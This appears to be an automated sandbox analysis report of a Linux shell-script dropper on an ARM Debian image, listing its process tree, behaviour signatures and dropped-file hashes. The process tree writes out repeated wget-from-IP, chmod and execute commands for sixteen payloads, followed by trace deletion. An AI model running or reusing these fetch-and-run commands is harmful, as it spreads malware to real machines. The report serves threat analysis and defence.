Analysis

  • max time kernel
    144s
  • max time network
    145s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    07/07/2026, 01:11

General

  • Target
    WSW0.sh
  • Size 263B
  • Sample260707-bjyjxae13t
  • SHA256 dcd93e03208c3f5d2f946023e2bd0e13c58ba275e71208921e62d2ddc03762b4
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 16 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 16 IoCs
  • OS Credential Dumping 1 TTPs 1 IoCs

    Adversaries may attempt to dump credentials to use it in password cracking.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Writes file to tmp directory 22 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/WSW0.sh
    /tmp/WSW0.sh
    1⤵
    • Executes dropped EXE
    PID:642
    • /bin/rm
      rm OWZR
      2⤵
        PID:644
      • /usr/bin/wget
        wget http://202.155.8.56/OWZR
        2⤵
        • Writes file to tmp directory
        PID:647
      • /bin/chmod
        chmod +x OWZR
        2⤵
        • File and Directory Permissions Modification
        PID:672
      • /tmp/OWZR
        ./OWZR
        2⤵
        • OS Credential Dumping
        • Checks CPU configuration
        • Writes file to tmp directory
        PID:673
        • /usr/local/sbin/uname
          uname -a
          3⤵
            PID:677
          • /usr/local/bin/uname
            uname -a
            3⤵
              PID:677
            • /usr/sbin/uname
              uname -a
              3⤵
                PID:677
              • /usr/bin/uname
                uname -a
                3⤵
                  PID:677
                • /sbin/uname
                  uname -a
                  3⤵
                    PID:677
                  • /bin/uname
                    uname -a
                    3⤵
                      PID:677
                  • /bin/rm
                    rm JEXK
                    2⤵
                      PID:675
                    • /usr/bin/wget
                      wget http://202.155.8.56/JEXK
                      2⤵
                      • Writes file to tmp directory
                      PID:676
                    • /bin/chmod
                      chmod +x JEXK
                      2⤵
                      • File and Directory Permissions Modification
                      PID:688
                    • /tmp/JEXK
                      ./JEXK
                      2⤵
                        PID:690
                      • /bin/rm
                        rm DPHU
                        2⤵
                          PID:693
                        • /usr/bin/wget
                          wget http://202.155.8.56/DPHU
                          2⤵
                          • Writes file to tmp directory
                          PID:694
                        • /bin/chmod
                          chmod +x DPHU
                          2⤵
                          • File and Directory Permissions Modification
                          PID:728
                        • /tmp/DPHU
                          ./DPHU
                          2⤵
                            PID:729
                          • /bin/rm
                            rm DGYO
                            2⤵
                              PID:731
                            • /usr/bin/wget
                              wget http://202.155.8.56/DGYO
                              2⤵
                              • Writes file to tmp directory
                              PID:732
                            • /bin/chmod
                              chmod +x DGYO
                              2⤵
                              • File and Directory Permissions Modification
                              PID:737
                            • /tmp/DGYO
                              ./DGYO
                              2⤵
                              • Writes file to tmp directory
                              PID:738
                            • /bin/rm
                              rm MCUJ
                              2⤵
                                PID:741
                              • /usr/bin/wget
                                wget http://202.155.8.56/MCUJ
                                2⤵
                                • Writes file to tmp directory
                                PID:743
                              • /bin/chmod
                                chmod +x MCUJ
                                2⤵
                                • File and Directory Permissions Modification
                                PID:768
                              • /tmp/MCUJ
                                ./MCUJ
                                2⤵
                                  PID:769
                                • /bin/rm
                                  rm CKFJ
                                  2⤵
                                    PID:771
                                  • /usr/bin/wget
                                    wget http://202.155.8.56/CKFJ
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:772
                                  • /bin/chmod
                                    chmod +x CKFJ
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:773
                                  • /tmp/CKFJ
                                    ./CKFJ
                                    2⤵
                                      PID:774
                                    • /bin/rm
                                      rm PFOG
                                      2⤵
                                        PID:776
                                      • /usr/bin/wget
                                        wget http://202.155.8.56/PFOG
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:777
                                      • /bin/chmod
                                        chmod +x PFOG
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:778
                                      • /tmp/PFOG
                                        ./PFOG
                                        2⤵
                                          PID:779
                                        • /bin/rm
                                          rm UEOU
                                          2⤵
                                            PID:781
                                          • /usr/bin/wget
                                            wget http://202.155.8.56/UEOU
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:782
                                          • /bin/chmod
                                            chmod +x UEOU
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:783
                                          • /tmp/UEOU
                                            ./UEOU
                                            2⤵
                                              PID:784
                                            • /bin/rm
                                              rm IGFV
                                              2⤵
                                                PID:786
                                              • /usr/bin/wget
                                                wget http://202.155.8.56/IGFV
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:787
                                              • /bin/chmod
                                                chmod +x IGFV
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:788
                                              • /tmp/IGFV
                                                ./IGFV
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:789
                                              • /bin/rm
                                                rm EPTX
                                                2⤵
                                                  PID:791
                                                • /usr/bin/wget
                                                  wget http://202.155.8.56/EPTX
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:792
                                                • /bin/chmod
                                                  chmod +x EPTX
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:793
                                                • /tmp/EPTX
                                                  ./EPTX
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:794
                                                • /bin/rm
                                                  rm DKGU
                                                  2⤵
                                                    PID:796
                                                  • /usr/bin/wget
                                                    wget http://202.155.8.56/DKGU
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:797
                                                  • /bin/chmod
                                                    chmod +x DKGU
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:798
                                                  • /tmp/DKGU
                                                    ./DKGU
                                                    2⤵
                                                      PID:799
                                                    • /bin/rm
                                                      rm WDKW
                                                      2⤵
                                                        PID:801
                                                      • /usr/bin/wget
                                                        wget http://202.155.8.56/WDKW
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:802
                                                      • /bin/chmod
                                                        chmod +x WDKW
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:804
                                                      • /tmp/WDKW
                                                        ./WDKW
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:805
                                                      • /bin/rm
                                                        rm VTZV
                                                        2⤵
                                                          PID:807
                                                        • /usr/bin/wget
                                                          wget http://202.155.8.56/VTZV
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:808
                                                        • /bin/chmod
                                                          chmod +x VTZV
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:810
                                                        • /tmp/VTZV
                                                          ./VTZV
                                                          2⤵
                                                            PID:811
                                                          • /bin/rm
                                                            rm CVRI
                                                            2⤵
                                                              PID:813
                                                            • /usr/bin/wget
                                                              wget http://202.155.8.56/CVRI
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:814
                                                            • /bin/chmod
                                                              chmod +x CVRI
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:815
                                                            • /tmp/CVRI
                                                              ./CVRI
                                                              2⤵
                                                                PID:816
                                                              • /bin/rm
                                                                rm RIAK
                                                                2⤵
                                                                  PID:818
                                                                • /usr/bin/wget
                                                                  wget http://202.155.8.56/RIAK
                                                                  2⤵
                                                                  • Writes file to tmp directory
                                                                  PID:819
                                                                • /bin/chmod
                                                                  chmod +x RIAK
                                                                  2⤵
                                                                  • File and Directory Permissions Modification
                                                                  PID:820
                                                                • /tmp/RIAK
                                                                  ./RIAK
                                                                  2⤵
                                                                    PID:821
                                                                  • /bin/rm
                                                                    rm MZTZ
                                                                    2⤵
                                                                      PID:823
                                                                    • /usr/bin/wget
                                                                      wget http://202.155.8.56/MZTZ
                                                                      2⤵
                                                                      • Writes file to tmp directory
                                                                      PID:824
                                                                    • /bin/chmod
                                                                      chmod +x MZTZ
                                                                      2⤵
                                                                      • File and Directory Permissions Modification
                                                                      PID:825
                                                                    • /tmp/MZTZ
                                                                      ./MZTZ
                                                                      2⤵
                                                                      • Writes file to tmp directory
                                                                      PID:826
                                                                    • /bin/rm
                                                                      rm -rf OWZR
                                                                      2⤵
                                                                        PID:828
                                                                      • /bin/rm
                                                                        rm -rf JEXK
                                                                        2⤵
                                                                          PID:829
                                                                        • /bin/rm
                                                                          rm -rf DPHU
                                                                          2⤵
                                                                            PID:830
                                                                          • /bin/rm
                                                                            rm -rf DGYO
                                                                            2⤵
                                                                              PID:831
                                                                            • /bin/rm
                                                                              rm -rf MCUJ
                                                                              2⤵
                                                                                PID:832
                                                                              • /bin/rm
                                                                                rm -rf CKFJ
                                                                                2⤵
                                                                                  PID:833
                                                                                • /bin/rm
                                                                                  rm -rf PFOG
                                                                                  2⤵
                                                                                    PID:834
                                                                                  • /bin/rm
                                                                                    rm -rf UEOU
                                                                                    2⤵
                                                                                      PID:835
                                                                                    • /bin/rm
                                                                                      rm -rf IGFV
                                                                                      2⤵
                                                                                        PID:836
                                                                                      • /bin/rm
                                                                                        rm -rf EPTX
                                                                                        2⤵
                                                                                          PID:837
                                                                                        • /bin/rm
                                                                                          rm -rf DKGU
                                                                                          2⤵
                                                                                            PID:838
                                                                                          • /bin/rm
                                                                                            rm -rf WDKW
                                                                                            2⤵
                                                                                              PID:839
                                                                                            • /bin/rm
                                                                                              rm -rf VTZV
                                                                                              2⤵
                                                                                                PID:840
                                                                                              • /bin/rm
                                                                                                rm -rf CVRI
                                                                                                2⤵
                                                                                                  PID:841
                                                                                                • /bin/rm
                                                                                                  rm -rf RIAK
                                                                                                  2⤵
                                                                                                    PID:842
                                                                                                  • /bin/rm
                                                                                                    rm -rf MZTZ
                                                                                                    2⤵
                                                                                                      PID:843
                                                                                                    • /bin/rm
                                                                                                      rm /tmp/WSW0.sh
                                                                                                      2⤵
                                                                                                        PID:844

                                                                                                    Network

                                                                                                          MITRE ATT&CK Enterprise v16

                                                                                                          Replay Monitor

                                                                                                          Loading Replay Monitor...

                                                                                                          Downloads

                                                                                                          .zwxGXIla

                                                                                                          • Path /tmp/.zwxGXIla
                                                                                                          • Size 18B
                                                                                                          • SHA256 1191f341a8854da4515e28273872a26d0a5d9fc0cedcce7e6e5533fdd82050d0
                                                                                                          • MD5 SHA1 SHA512

                                                                                                          CKFJ

                                                                                                          • Path /tmp/CKFJ
                                                                                                          • Size 105KB
                                                                                                          • SHA256 f85ee1500347ab1ae9061973abf387be54a98ad1259f5265965d5b067c170923
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          CVRI

                                                                                                          • Path /tmp/CVRI
                                                                                                          • Size 193KB
                                                                                                          • SHA256 202d1e3eccffe6ac67e54882c0e070f8a4730d5e117ed52043e4ad294ec857db
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          DGYO

                                                                                                          • Path /tmp/DGYO
                                                                                                          • Size 129KB
                                                                                                          • SHA256 1bea422550db39a211f644ad63eeb34bce2ae9a70b39d6c38d1b423203f619d4
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          DKGU

                                                                                                          • Path /tmp/DKGU
                                                                                                          • Size 193KB
                                                                                                          • SHA256 f89836639ef62ae6f317f834fab00e166ef668772b021e5e468969bd66aa4ef1
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          DPHU

                                                                                                          • Path /tmp/DPHU
                                                                                                          • Size 109KB
                                                                                                          • SHA256 fc43bc3a09d3d47a1fa0ed5559d8d98468c07e768daf9bf1f806984b342e4aa0
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          EPTX

                                                                                                          • Path /tmp/EPTX
                                                                                                          • Size 125KB
                                                                                                          • SHA256 acbb357150d464f678cd23159fca36575c8039f82ef9f276ef298361f8415dd5
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          IGFV

                                                                                                          • Path /tmp/IGFV
                                                                                                          • Size 86KB
                                                                                                          • SHA256 25756bd4d6028d9402d02e00f7ac00bf2b23c64e420efa4be01cd965c0594b9b
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          JEXK

                                                                                                          • Path /tmp/JEXK
                                                                                                          • Size 200KB
                                                                                                          • SHA256 cd6ab1ae78b810d0840c64270a6506a753befecad64eace6c1101e2a2713574f
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          MCUJ

                                                                                                          • Path /tmp/MCUJ
                                                                                                          • Size 105KB
                                                                                                          • SHA256 d328a8df797e9a5c3c2f282b014f7cf538e141143a3054cdb542ca360d43b624
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          MZTZ

                                                                                                          • Path /tmp/MZTZ
                                                                                                          • Size 126KB
                                                                                                          • SHA256 b89e0bddab26ae722e8af161ab726eb7f25232f00b3cbdc0e6cad665513047df
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          OWZR

                                                                                                          • Path /tmp/OWZR
                                                                                                          • Size 125KB
                                                                                                          • SHA256 6a9a2fd72c6dd58658f09a6743885605c77be428948c72d6a4539e3982e67418
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          PFOG

                                                                                                          • Path /tmp/PFOG
                                                                                                          • Size 154KB
                                                                                                          • SHA256 3dd83802e4a3c71b8a7a03cd7b065fbd7b9eec3ebae5e0c29d4fc09573409ed2
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          RIAK

                                                                                                          • Path /tmp/RIAK
                                                                                                          • Size 125KB
                                                                                                          • SHA256 7524f7123eb049207efa4dac91e7d0a4726016d1a992a53468c54a4829658dbb
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          UEOU

                                                                                                          • Path /tmp/UEOU
                                                                                                          • Size 129KB
                                                                                                          • SHA256 5df36281969dcd0fefdc2f7bda8af95577826634311f5a82544002e7e7d4c0fd
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          VTZV

                                                                                                          • Path /tmp/VTZV
                                                                                                          • Size 167KB
                                                                                                          • SHA256 60769cc0da4aadd603ade2a30ce4791595a43f9727e248a232ee7b6a1ae3fc44
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          WDKW

                                                                                                          • Path /tmp/WDKW
                                                                                                          • Size 121KB
                                                                                                          • SHA256 8de4542b0cfef62851ecb166feac5ff4b0f58951e83f0e914ffe7dae90e6fed5
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH